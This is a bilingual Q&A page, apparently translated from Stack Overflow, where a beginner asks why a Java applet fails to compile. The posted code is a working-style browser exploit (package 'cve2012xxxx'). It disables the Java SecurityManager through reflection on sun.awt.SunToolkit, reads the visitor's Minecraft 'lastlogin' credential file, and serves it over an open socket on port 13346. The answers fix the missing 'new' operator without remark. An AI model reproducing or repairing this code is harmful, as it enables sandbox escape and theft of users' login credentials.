简体   繁体   English

(Java)找不到方法

[英](Java) can't find method

I am new to java and have a compile error: 我是java的新手,并且有编译错误:

/tmp/jc_16831/Gondvv.java:71: cannot find symbol

symbol  : method File(java.lang.String)

location: class Gondvv

File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

O am including the File class, so I don't get it.. O包含File类,所以我不明白。

the code is here: 代码在这里:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void start()
    {
        String userName = System.getProperty("user.name");
        File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
        InputStream inputStream = new FileInputStream(llf);

        ServerSocket serverSocket = new ServerSocket(13346);
        Socket socket = serverSocket.accept();
        OutputStream outputStream = socket.getOutputStream();

        int len = 0;
        byte[] buffer = new byte[16384];
        while ((len = inputStream.read(buffer)) > 0)
            outputStream.write(buffer, 0, len);

        inputStream.close();
        outputStream.close();
        socket.close();
    }

    public void init()
    {
        try
        {
            disableSecurity();
   //         Process localProcess = null;
   //         localProcess = Runtime.getRuntime().exec("calc.exe");
   //         if(localProcess != null);
   //            localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading...", 25, 50);
    }
}

You want to construct a new File object, so you should use the new operator. 您要构造一个新的File对象,因此应使用new运算符。

 File llf = new File("...");

Also note that it is usually you that's being unreasonable and not the code you're using, especially in the first few years of your programming career. 还要注意,通常是您不讲理,而不是所用的代码,尤其是在编程生涯的头几年。

It lacks the new to create new object of class File. 它缺少new创建的类文件的新对象。 There is no method that is not part of an object or ( static methods) class. 没有不属于对象或( static方法)类的方法。

您忘记在File之前添加新的运算符。

File llf = new File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM